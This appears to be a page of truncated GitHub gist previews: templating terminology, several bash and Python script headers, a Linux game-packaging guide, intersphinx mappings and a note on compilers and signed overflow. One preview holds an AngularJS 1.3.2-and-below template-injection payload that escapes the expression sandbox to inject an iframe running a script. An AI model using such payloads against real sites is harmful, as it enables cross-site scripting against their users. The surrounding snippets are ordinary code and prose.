joepie91

Terminology

• View: Also called a "template", a file that contains markup (like HTML) and optionally additional instructions on how to generate snippets of HTML, such as text interpolation, loops, conditionals, includes, and so on.
• View engine: Also called a "template library" or "templater", ie. a library that implements view functionality, and potentially also a custom language for specifying it (like Pug does).
• HTML templater: A template library that's designed specifically for generating HTML. It understands document structure and thus can provide useful advanced tools like mixins, as well as more secure output escaping (since it can determine the right escaping approach from the context in which a value is used), but it also means that the templater is not useful for anything other than HTML.
• String-based templater: A template library that implements templating logic, but that has no understanding of the content it is generating - it simply concatenates together strings, potenti

anp

#!/usr/bin/env python2

# butchered from https://github.com/huonw/travis-cargo
# under MIT license

from __future__ import print_function
import argparse
import os
import sys
import subprocess

HaleTom

#!/bin/bash

# Tom Hale, 2016. MIT Licence.
# Print out 256 colours, with each number printed in its corresponding colour
# See http://askubuntu.com/questions/821157/print-a-256-color-test-pattern-in-the-terminal/821163#821163

set -eu # Fail on errors or undeclared variables

printable_colours=256

joepvd

# Love you, GNU. But got a bit tired of this conversation pattern:
#
#   % ln -h
#   ln: invalid option -- 'h'
#   Try 'ln --help' for more information.
#
# Don't worry. I fixed you for me.
#
# Eternally yours,
#

mccabe615

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

shmerl

#!/bin/bash

# Usage: gog_dex_extract_music.sh <data_dir>
#
# The script relies on these utilities:
# 1. QuickBMS extractor (quickbms)
#    See http://aluigi.altervista.org/quickbms.htm
#    Source: http://aluigi.altervista.org/papers/quickbms_src.zip
#
# 2. Unity BMS script to be used with QuickBMS (unity.bms)

flibitijibibo

A week ago I was CC'd in on a thread about Linux packaging, and how to avoid doing it the wrong way (i.e. RPM, Deb, etc.). I've always used MojoSetup and I've never forced distributions to do any additional work, but this is still a new concept to a lot of people. Additionally, Amos suggested that I expand on Itch's FNA appendix, so here's a guide on how I package my games.

This is a bit of an expansion on my MAGFest 2016 presentation, which you can find here:

http://www.flibitijibibo.com/magfest2016/

https://www.youtube.com/watch?v=B83CWUh0Log

I would recommend looking at that first! After that, read on...

bskinn

# The entries in this file are checked regularly for validity via the Github Action
# sited at github.com/bskinn/intersphinx-gist.
# Please feel free to post an issue at that repo if any of these mappings don't work for you,
# or if you're having trouble constructing a mapping for a project not listed here.

Python 3 [latest]: ('https://docs.python.org/3/', None)
Python 3 [3.x]: ('https://docs.python.org/3.9/', None)
attrs [stable]: ('https://www.attrs.org/en/stable/', None)
Django [dev]: ('https://docs.djangoproject.com/en/dev/', 'https://docs.djangoproject.com/en/dev/_objects/')
Flask [2.2.x]: ('https://flask.palletsprojects.com/en/2.2.x/', None)

shmerl

#!/bin/bash

# Shows status of selected wine dlls (like for DX11).
# Inspired by https://www.winehq.org/winapi_stats.
# The script works best in terminals with true color support,
# but it should work with less colors as well.

function no_clr()
{
   printf '\x1b[0m'

rygorous

Why do compilers even bother with exploiting undefinedness signed overflow? And what are those
mysterious cases where it helps?

A lot of people (myself included) are against transforms that aggressively exploit undefined behavior, but
I think it's useful to know what compiler writers are accomplishing by this.

TL;DR: C doesn't work very well if int!=register width, but (for backwards compat) int is 32-bit on all
major 64-bit targets, and this causes quite hairy problems for code generation and optimization in some
fairly common cases. The signed overflow UB exploitation is an attempt to work around this.